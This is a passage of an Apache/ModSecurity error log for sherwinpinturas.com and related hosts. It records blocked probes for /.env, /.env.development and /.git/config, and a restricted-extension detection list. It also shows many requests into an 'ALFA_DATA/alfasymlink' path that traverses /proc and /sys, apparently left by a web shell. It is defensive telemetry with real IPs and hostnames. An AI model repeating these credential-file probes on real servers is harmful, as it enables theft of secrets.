[Sun Oct 25 22:08:53.676380 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at62NcINuYGcKPT7MqENUQAAACQ"]
[Sun Oct 25 22:08:53.676856 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at62NcINuYGcKPT7MqENUQAAACQ"]
[Sun Oct 25 22:08:53.677105 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at62NcINuYGcKPT7MqENUQAAACQ"]
[Sun Oct 25 22:08:53.678151 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NUDZB1z45uajChfUSgAAAAs"]
[Sun Oct 25 22:08:53.678562 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NUDZB1z45uajChfUSgAAAAs"]
[Sun Oct 25 22:08:53.678786 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NUDZB1z45uajChfUSgAAAAs"]
[Sun Oct 25 22:08:53.764801 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "clic3.sherwinpinturas.com"] [uri "/api"] [unique_id "at62NVKNdIrfpEod-HqEEAAAACo"]
[Sun Oct 25 22:08:53.765236 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api"] [unique_id "at62NVKNdIrfpEod-HqEEAAAACo"]
[Sun Oct 25 22:08:53.765511 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api"] [unique_id "at62NVKNdIrfpEod-HqEEAAAACo"]
[Sun Oct 25 22:08:54.038333 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "clic3.sherwinpinturas.com"] [uri "/app"] [unique_id "at62NlKNdIrfpEod-HqEEQAAACo"]
[Sun Oct 25 22:08:54.038744 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/app"] [unique_id "at62NlKNdIrfpEod-HqEEQAAACo"]
[Sun Oct 25 22:08:54.039060 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/app"] [unique_id "at62NlKNdIrfpEod-HqEEQAAACo"]
[Sun Oct 25 22:08:54.940574 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "clic3.sherwinpinturas.com"] [uri "/app"] [unique_id "at62Ngo4OiAv7EzdRZ1MFgAAABI"]
[Sun Oct 25 22:08:54.941050 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/app"] [unique_id "at62Ngo4OiAv7EzdRZ1MFgAAABI"]
[Sun Oct 25 22:08:54.941512 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/app"] [unique_id "at62Ngo4OiAv7EzdRZ1MFgAAABI"]
[Sun Oct 25 22:08:58.783054 2026] [ssl:error] [pid 2943041:tid 2943041] (70014)End of file found: [client 3.213.213.161:17139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:09:02.313985 2026] [ssl:error] [pid 2943055:tid 2943055] (70014)End of file found: [client 3.218.103.254:51589] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:09:06.144667 2026] [core:error] [pid 2943066:tid 2943066] (13)Permission denied: [client 34.195.248.30:24421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty19/subsystem/tty35/subsystem/ttyS1/io_type
[Sun Oct 25 22:09:15.266471 2026] [ssl:error] [pid 2943079:tid 2943079] (70014)End of file found: [client 98.82.66.172:22408] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:09:18.179359 2026] [core:error] [pid 2943063:tid 2943063] (13)Permission denied: [client 44.195.50.71:2863] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu0/driver/cpu1/driver/cpu0/subsystem/drivers_probe
[Sun Oct 25 22:09:19.018850 2026] [authz_core:error] [pid 2943064:tid 2943064] [client 157.245.142.116:51816] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:09:20.155806 2026] [authz_core:error] [pid 2943089:tid 2943089] [client 157.245.142.116:57322] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:09:27.228733 2026] [ssl:error] [pid 2943108:tid 2943108] (70014)End of file found: [client 52.5.242.243:55023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:09:31.536932 2026] [ssl:error] [pid 2943106:tid 2943106] (70014)End of file found: [client 44.194.134.53:39775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:09:38.166424 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 52.205.222.214:40391] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:09:40.383381 2026] [security2:error] [pid 2943071:tid 2943071] [client 43.157.175.122:33362] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at62ZIaTx_-S4WG0nlpbQwAAACM"]
[Sun Oct 25 22:09:42.697083 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 18.204.89.56:55976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:09:50.520166 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 3.221.50.71:26560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:09:56.669184 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 107.20.255.194:30678] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:10:06.366919 2026] [ssl:error] [pid 2943082:tid 2943082] (70014)End of file found: [client 35.169.119.108:56391] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:10:14.169909 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 34.195.60.66:1926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:10:18.221193 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 54.145.82.217:45932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/pcspkr/bind
[Sun Oct 25 22:10:38.125824 2026] [ssl:error] [pid 2943094:tid 2943094] (5)Input/output error: [client 54.83.240.58:16852] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:10:46.143836 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 98.83.177.42:29906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:10:47.334906 2026] [security2:error] [pid 2943082:tid 2943082] [client 185.191.171.18:15412] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/nfsmount.conf"] [unique_id "at62pyB4p48XH5IIzaWsJwAAADA"]
[Sun Oct 25 22:10:47.335312 2026] [security2:error] [pid 2943082:tid 2943082] [client 185.191.171.18:15412] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/nfsmount.conf"] [unique_id "at62pyB4p48XH5IIzaWsJwAAADA"]
[Sun Oct 25 22:10:47.335679 2026] [security2:error] [pid 2943082:tid 2943082] [client 185.191.171.18:15412] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/nfsmount.conf"] [unique_id "at62pyB4p48XH5IIzaWsJwAAADA"]
[Sun Oct 25 22:11:30.126839 2026] [ssl:error] [pid 2943082:tid 2943082] (70014)End of file found: [client 34.231.45.47:64976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:11:38.140251 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.223.134.5:28579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:11:46.349564 2026] [ssl:error] [pid 2942316:tid 2942316] (5)Input/output error: [client 34.239.85.139:4240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:11:50.117803 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 34.206.249.188:60544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:11:54.116489 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 44.215.231.15:43509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:12:02.124738 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 100.28.49.152:40581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:12:06.069669 2026] [core:error] [pid 2943082:tid 2943082] (13)Permission denied: [client 85.208.96.195:26710] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/slabs
[Sun Oct 25 22:12:08.007629 2026] [security2:error] [pid 2943071:tid 2943071] [client 172.235.210.84:51832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at62-IaTx_-S4WG0nlpbSAAAACM"]
[Sun Oct 25 22:12:08.007854 2026] [security2:error] [pid 2943071:tid 2943071] [client 172.235.210.84:51832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at62-IaTx_-S4WG0nlpbSAAAACM"]
[Sun Oct 25 22:12:08.009058 2026] [security2:error] [pid 2943071:tid 2943071] [client 172.235.210.84:51832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at62-IaTx_-S4WG0nlpbSAAAACM"]
[Sun Oct 25 22:12:10.165051 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 54.225.81.20:8294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/bus/cpu/devices/cpu1/driver/cpu1/node0/memory5/node0/memory2/subsystem/uevent
[Sun Oct 25 22:12:10.666362 2026] [security2:error] [pid 2934778:tid 2934778] [client 172.235.210.84:34454] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at62-tYvsK9lv2bQxMABpAAAABA"]
[Sun Oct 25 22:12:10.666603 2026] [security2:error] [pid 2934778:tid 2934778] [client 172.235.210.84:34454] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at62-tYvsK9lv2bQxMABpAAAABA"]
[Sun Oct 25 22:12:10.667382 2026] [security2:error] [pid 2934778:tid 2934778] [client 172.235.210.84:34454] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at62-tYvsK9lv2bQxMABpAAAABA"]
[Sun Oct 25 22:12:22.160830 2026] [ssl:error] [pid 2934778:tid 2934778] (5)Input/output error: [client 54.157.99.244:58632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:12:26.151720 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 44.216.172.204:51976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:12:33.166859 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 85.208.96.205:18832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/poison
[Sun Oct 25 22:12:34.259735 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 54.92.171.106:13150] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:12:47.638621 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 85.208.96.198:35646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libcrc32c/sections/__ksymtab_strings
[Sun Oct 25 22:12:50.221093 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 52.3.155.146:52153] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:12:54.344944 2026] [core:error] [pid 2943111:tid 2943111] (13)Permission denied: [client 54.156.55.147:33845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty18/subsystem/console/subsystem/ttyS0/closing_wait
[Sun Oct 25 22:13:02.181581 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 44.193.115.232:50378] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:13:14.308907 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 23.23.212.212:19805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:13:26.630246 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 52.2.83.227:45185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:13:38.275968 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 184.73.68.20:37566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:13:50.199874 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 54.156.124.2:48013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:13:54.352696 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 98.83.10.183:63598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:13:54.352961 2026] [security2:error] [pid 2942903:tid 2942903] [client 98.83.10.183:63598] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/device/subsystem/event3/subsystem/input1/capabilities/key"] [unique_id "at63YjPpOcZl6bVLkOOz5gAAAAU"]
[Sun Oct 25 22:13:54.352995 2026] [security2:error] [pid 2942903:tid 2942903] [client 98.83.10.183:63598] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/device/subsystem/event3/subsystem/input1/capabilities/key"] [unique_id "at63YjPpOcZl6bVLkOOz5gAAAAU"]
[Sun Oct 25 22:13:58.249391 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 3.219.81.66:45770] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:14:02.196470 2026] [ssl:error] [pid 2943462:tid 2943462] (5)Input/output error: [client 44.195.50.71:26435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:14:06.237920 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 34.194.226.74:61820] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:14:08.724306 2026] [security2:error] [pid 2943096:tid 2943096] [client 85.208.96.206:35658] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname 